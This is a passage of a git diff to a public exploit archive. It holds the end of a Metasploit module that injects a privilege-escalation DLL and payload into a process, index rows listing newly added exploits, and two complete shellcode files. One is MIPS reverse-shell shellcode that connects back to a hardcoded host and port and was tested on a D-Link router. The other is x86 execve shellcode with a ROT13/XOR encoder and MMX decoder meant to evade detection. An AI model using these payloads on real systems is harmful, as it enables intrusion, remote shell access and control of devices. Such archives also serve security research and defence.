the exploit DLL into #{process.pid}...") + library_path = ::File.join(Msf::Config.data_directory, "exploits", "rottenpotato", dll_file_name) + library_path = ::File.expand_path(library_path) + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + print_status("Exploit injected. Injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end +end \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 567d2223d..a7e6ce9ea 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6138,6 +6138,10 @@ id,file,description,date,author,type,platform,port 45493,exploits/windows_x86/dos/45493.py,"TransMac 12.2 - Denial of Service (PoC)",2018-09-26,"Gionathan Reale",dos,windows_x86, 45494,exploits/windows_x86/dos/45494.py,"CrossFont 7.5 - Denial of Service (PoC)",2018-09-26,"Gionathan Reale",dos,windows_x86, 45527,exploits/windows_x86/dos/45527.py,"FTP Voyager 16.2.0 - Denial of Service (PoC)",2018-10-03,"Abdullah Alıç",dos,windows_x86, +45544,exploits/linux/dos/45544.sh,"net-snmp 5.7.3 - Unauthenticated Denial of Service (PoC)",2018-10-08,"Magnus Klaaborg Stubman",dos,linux, +45547,exploits/linux/dos/45547.txt,"net-snmp 5.7.3 - Authenticated Denial of Service (PoC)",2018-10-08,"Magnus Klaaborg Stubman",dos,linux, +45557,exploits/linux/dos/45557.c,"Linux - Kernel Pointer Leak via BPF",2018-10-08,"Google Security Research",dos,linux, +45558,exploits/android/dos/45558.txt,"Android - sdcardfs Changes current->fs Without Proper Locking",2018-10-08,"Google Security Research",dos,android, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -10012,6 +10016,11 @@ id,file,description,date,author,type,platform,port 45516,exploits/linux/local/45516.c,"Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation",2018-09-26,"Qualys Corporation",local,linux, 45528,exploits/linux/local/45528.txt,"virtualenv 16.0.0 - Sandbox Escape",2018-10-04,vr_system,local,linux, 45531,exploits/windows_x86/local/45531.py,"NICO-FTP 3.0.1.19 - Buffer Overflow (SEH) (ASLR Bypass)",2018-10-04,"Miguel Mendez Z",local,windows_x86, +45540,exploits/windows/local/45540.py,"360 3.5.0.1033 - Sandbox Escape",2018-10-08,vr_system,local,windows, +45548,exploits/linux/local/45548.txt,"Git Submodule - Arbitrary Code Execution",2018-10-05,"Junio C Hamano",local,linux, +45553,exploits/linux/local/45553.c,"Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation",2018-10-02,Lexfo,local,linux, +45560,exploits/windows/local/45560.rb,"Zahir Enterprise Plus 6 - Stack Buffer Overflow (Metasploit)",2018-10-08,Metasploit,local,windows, +45562,exploits/windows/local/45562.rb,"Microsoft Windows - Net-NTLMv2 Reflection DCOM/RPC (Metasploit)",2018-10-08,Metasploit,local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -16845,6 +16854,9 @@ id,file,description,date,author,type,platform,port 45427,exploits/hardware/remote/45427.py,"NUUO NVRMini2 3.8 - 'cgi_system' Buffer Overflow (Enable Telnet)",2018-09-18,"Jacob Baines",remote,hardware,80 45429,exploits/windows/remote/45429.txt,"Ubisoft Uplay Desktop Client 63.0.5699.0 - Remote Code Execution",2018-09-18,"Che-Chun Kuo",remote,windows, 45502,exploits/windows/remote/45502.txt,"Microsoft Edge - Sandbox Escape",2018-09-27,"Google Security Research",remote,windows, +45555,exploits/multiple/remote/45555.rb,"Cisco Prime Infrastructure - Unauthenticated Remote Code Execution",2018-10-04,SecuriTeam,remote,multiple, +45559,exploits/linux/remote/45559.rb,"Unitrends UEB - HTTP API Remote Code Execution (Metasploit)",2018-10-08,Metasploit,remote,linux,443 +45561,exploits/php/remote/45561.rb,"Navigate CMS - Unauthenticated Remote Code Execution (Metasploit)",2018-10-08,Metasploit,remote,php, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -40074,3 +40086,5 @@ id,file,description,date,author,type,platform,port 45535,exploits/php/webapps/45535.txt,"Chamilo LMS 1.11.8 - Cross-Site Scripting",2018-10-05,cakes,webapps,php, 45536,exploits/php/webapps/45536.txt,"Chamilo LMS 1.11.8 - 'firstname' Cross-Site Scripting",2018-10-06,cakes,webapps,php, 45537,exploits/hardware/webapps/45537.txt,"FLIR Thermal Traffic Cameras 1.01-0bb5b27 - RTSP Stream Disclosure",2018-10-06,LiquidWorm,webapps,hardware, +45539,exploits/hardware/webapps/45539.py,"FLIR Thermal Traffic Cameras 1.01-0bb5b27 - Information Disclosure",2018-10-08,LiquidWorm,webapps,hardware, +45542,exploits/linux/webapps/45542.py,"Imperva SecureSphere 13 - Remote Command Execution",2018-10-08,rsp3ar,webapps,linux, diff --git a/files_shellcodes.csv b/files_shellcodes.csv index 646a1472f..827c22a47 100644 --- a/files_shellcodes.csv +++ b/files_shellcodes.csv @@ -918,3 +918,5 @@ id,file,description,date,author,type,platform 45458,shellcodes/arm/45458.c,"Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes)",2018-09-24,"Ken Kitahara",shellcode,arm 45459,shellcodes/arm/45459.c,"Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) + sigaction() Shellcode (52 Bytes)",2018-09-24,"Ken Kitahara",shellcode,arm 45495,shellcodes/arm/45495.c,"Linux/ARM - Bind (0.0.0.0:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (92 Bytes)",2018-09-26,"Ken Kitahara",shellcode,arm +45538,shellcodes/linux_x86/45538.txt,"Linux/x86 - execve(/bin/sh) + MMX/ROT13/XOR Shellcode (Encoder/Decoder) (104 bytes)",2018-10-08,"Kartik Durg",shellcode,linux_x86 +45541,shellcodes/linux_mips/45541.c,"Linux/MIPS (Big Endian) - execve(/bin/sh) + Reverse TCP 192.168.2.157/31337 Shellcode (181 bytes)",2018-10-08,cq674350529,shellcode,linux_mips diff --git a/shellcodes/linux_mips/45541.c b/shellcodes/linux_mips/45541.c new file mode 100644 index 000000000..5761d941a --- /dev/null +++ b/shellcodes/linux_mips/45541.c @@ -0,0 +1,75 @@ +/* + # Linux/MIPS (Big Endian) - execve(/bin/sh) + Reverse TCP 192.168.2.157/31337 Shellcode (181 bytes) + # Author: cq674350529 + # Date: 2018-10-07 + # - execve('/bin/sh'), tcp - 192.168.2.157/31337 + # - used in HTTP Request + # - tested on D-Link dir-850l router, avoid bad chars ('\x00', '\x20', '\x23', '\x0d\x0a') + # - based on rigan's shellcode and metasploit's shellcode, no encoder used + */ + +#include + +unsigned char sc[] = + "\x24\x0f\xff\xfa" // li $t7, -6 + "\x01\xe0\x78\x27" // nor $t7, $zero + "\x21\xe4\xff\xfd" // addi $a0, $t7, -3 + "\x21\xe5\xff\xfd" // addi $a1, $t7, -3 + "\x28\x06\xff\xff" // slti $a2, $zero, -1 + "\x24\x02\x10\x57" // li $v0, 4183 ( sys_socket ) + "\x01\x01\x01\x0c" // syscall 0x40404 + "\xaf\xa2\xff\xff" // sw $v0, -1($sp) + "\x8f\xa4\xff\xff" // lw $a0, -1($sp) + "\x34\x0f\xff\xfd" // li $t7, -3 ( sa_family = AF_INET ) + "\x01\xe0\x78\x27" // nor $t7, $zero + "\xaf\xaf\xff\xe0" // sw $t7, -0x20($sp) + + /* ================ You can change port here ================= */ + "\x3c\x0e\x7a\x69" // lui $t6, 0x7a69 ( sin_port = 0x7a69 ) + /* ============================================================ */ + + "\x35\xce\x7a\x69" // ori $t6, $t6, 0x7a69 + "\xaf\xae\xff\xe4" // sw $t6, -0x1c($sp) + + /* ================ You can change ip here ================= */ + "\x3c\x0e\xc0\xa8" // lui $t6, 0xc0a8 ( sin_addr = 0xc0a8 ... + "\x35\xce\x02\x9d" // ori $t6, $t6, 0x029d ... 0x029d + /* ============================================================ */ + + "\xaf\xae\xff\xe6" // sw $t6, -0x1a($sp) + "\x27\xa5\xff\xe2" // addiu $a1, $sp, -0x1e + "\x24\x0c\xff\xef" // li $t4, -17 ( addrlen = 16 ) + "\x01\x80\x30\x27" // nor $a2, $t4, $zero + "\x24\x02\x10\x4a" // li $v0, 4170 ( sys_connect ) + "\x01\x01\x01\x0c" // syscall 0x40404 + "\x24\x0f\xff\xfd" // li t7,-3 + "\x01\xe0\x28\x27" // nor a1,t7,zero + "\x8f\xa4\xff\xff" // lw $a0, -1($sp) + // dup2_loop: + "\x24\x02\x0f\xdf" // li $v0, 4063 ( sys_dup2 ) + "\x01\x01\x01\x0c" // syscall 0x40404 + "\x24\xa5\xff\xff" // addi a1,a1,-1 (\x20\xa5\xff\xff) + "\x24\x01\xff\xff" // li at,-1 + "\x14\xa1\xff\xfb" // bne a1,at, dup2_loop + "\x28\x06\xff\xff" // slti $a2, $zero, -1 + "\x3c\x0f\x2f\x2f" // lui $t7, 0x2f2f + "\x35\xef\x62\x69" // ori $t7, $t7, 0x6269 + "\xaf\xaf\xff\xec" // sw $t7, -0x14($sp) + "\x3c\x0e\x6e\x2f" // lui $t6, 0x6e2f + "\x35\xce\x73\x68" // ori $t6, $t6, 0x7368 + "\xaf\xae\xff\xf0" // sw $t6, -0x10($sp) + "\xaf\xa0\xff\xf4" // sw $zero, -0xc($sp) + "\x27\xa4\xff\xec" // addiu $a0, $sp, -0x14 + "\xaf\xa4\xff\xf8" // sw $a0, -8($sp) + "\xaf\xa0\xff\xfc" // sw $zero, -4($sp) + "\x27\xa5\xff\xf8" // addiu $a1, $sp, -8 + "\x24\x02\x0f\xab" // li $v0, 4011 (sys_execve) + "\x01\x01\x01\x0c"; // syscall 0x40404 + +void main(void) +{ + void(*s)(void); + printf("size: %d\n", sizeof(sc)); + s = sc; + s(); +} \ No newline at end of file diff --git a/shellcodes/linux_x86/45538.txt b/shellcodes/linux_x86/45538.txt new file mode 100644 index 000000000..46511c9a6 --- /dev/null +++ b/shellcodes/linux_x86/45538.txt @@ -0,0 +1,118 @@ +# Title: Linux/x86 - execve(/bin/sh) + MMX/ROT13/XOR Shellcode (Encoder/Decoder) (104 bytes) +# Author: Kartik Durg +# Date: 201-10-04 +# Shellcode Length: 104 BYTES +# Student-ID: SLAE-1233 +# Write-up Link: https://iamroot.blog/2018/10/02/0x4-rot13_xor_encoder_mmx_decoder_shellcode-linux-x86/ +# Tested on: Ubuntu 16.0.4.1 (i686) + +------------------------------------------------------------------------------------------------------------------------------------------------- +a). Python script for encoder +------------------------------------------------------------------------------------------------------------------------------------------------- +#!/usr/bin/python + +# ROT13 - XOR Encoder + +#original execve-stack +shellcode = +("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") + +rot = 13 + +encoded = "" +encoded2 = "" + +print 'Encoded shellcode ...' + +for x in bytearray(shellcode) : +#ROT-13 +shell_rot = (x + rot)%256 + +# XOR Encoding +xor_rot = shell_rot^0xAA +encoded += '\\x' +encoded += '%02x' %xor_rot + +encoded2 += '0x' +encoded2 += '%02x,' %xor_rot + +print encoded + +print encoded2 + +print 'Len: %d' % len(bytearray(shellcode)) +------------------------------------------------------------------------------------------------------------------------------------------------- +OUTPUT: +------------------------------------------------------------------------------------------------------------------------------------------------- +Encoded shellcode ... +\x94\x67\xf7\xdf\x96\x96\x2a\xdf\xdf\x96\xc5\xdc\xd1\x3c\x5a\xf7\x3c\x45\xca\x3c\x44\x17\xb2\x70\x27 +0x94,0x67,0xf7,0xdf,0x96,0x96,0x2a,0xdf,0xdf,0x96,0xc5,0xdc,0xd1,0x3c,0x5a,0xf7,0x3c,0x45,0xca,0x3c,0x44,0x17,0xb2,0x70,0x27, +Len: 25 +------------------------------------------------------------------------------------------------------------------------------------------------- + +------------------------------------------------------------------------------------------------------------------------------------------------- +b). Decoder for ROT13-XOR encoded shellcode using MMX instructions +------------------------------------------------------------------------------------------------------------------------------------------------- +global _start + +section .text +_start: + +jmp short call_decoder + +decoder1: +pop edi ;"edi" now points to "xor_value" +lea esi, [edi +16] ;"esi" now points to "Shellcode" +xor ecx, ecx +mov cl, 4 ;Size of our shellcode is 25|"qword" operates 8bytes ata time +hence 4*8=32|"loop" 4 times + +XOR_decode: +movq mm0, qword [edi] ;move 8bytes of "xor_value" to mm0 +movq mm1, qword [esi] ;move 8bytes of "Shellcode" to mm1 +pxor mm0, mm1 ;Perform XOR operation +movq qword [esi], mm0 ;overwrite the "Shellcode" with previous results +add esi, 0x8 ;now "esi" points to next 8bytes of "Shellcode" +loop XOR_decode ;loop 4 times + +decoder2: +lea edi, [edi +8] ;"edi" now points to "rot_value" +lea esi, [edi +8] ;"esi" now points to "Shellcode"|"Shellcode" contains +previous XOR'ed results +xor ecx, ecx +mov cl, 4 ;"loop" 4 times + +ROT_decode: +movq mm2, qword [edi] ;move 8bytes of "rot_value" to mm2 +movq mm3, qword [esi] ;move 8bytes of "Shellcode" to mm3 +psubb mm3, mm2 ;Subtract 13 from "Shellcode" +movq qword [esi], mm3 ;overwrite the "Shellcode" with previous results +add esi, 0x8 ;now "esi" points to next 8bytes of "Shellcode" +loop ROT_decode ;"loop" 4 times +jmp short Shellcode ;Execute decoded shellcode + +call_decoder: + +call decoder1 +xor_value: db 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa +rot_value: db 13, 13, 13, 13, 13, 13, 13, 13 +Shellcode: db +0x94,0x67,0xf7,0xdf,0x96,0x96,0x2a,0xdf,0xdf,0x96,0xc5,0xdc,0xd1,0x3c,0x5a,0xf7,0x3c,0x45,0xca,0x3c,0x44,0x17,0xb2,0x70,0x27 +------------------------------------------------------------------------------------------------------------------------------------------------- + +------------------------------------------------------------------------------------------------------------------------------------------------- +c). Shellcode.c +------------------------------------------------------------------------------------------------------------------------------------------------- +#include +#include + +unsigned char shellcode[] = \ +"\xeb\x36\x5f\x8d\x77\x10\x31\xc9\xb1\x04\x0f\x6f\x07\x0f\x6f\x0e\x0f\xef\xc1\x0f\x7f\x06\x83\xc6\x08\xe2\xef\x8d\x7f\x08\x8d\x77\x08\x31\xc9\xb1\x04\x0f\x6f\x17\x0f\x6f\x1e\x0f\xf8\xda\x0f\x7f\x1e\x83\xc6\x08\xe2\xef\xeb\x15\xe8\xc5\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x94\x67\x94\x67\xf7\xdf\x96\x96\x2a\xdf\xdf\x96\xc5\xdc\xd1\x3c\x5a\xf7\x3c\x45\xca\x3c\x44\x17\xb2\x70\x27"; + +main() +{ +printf("Shellcode Length: %d\n", strlen(shellcode)); +int (*ret)() = (int(*)())shellcode; +ret(); +} +------------------------------------------------------------------------------------------------------------------------------------------------- \ No newline at end of file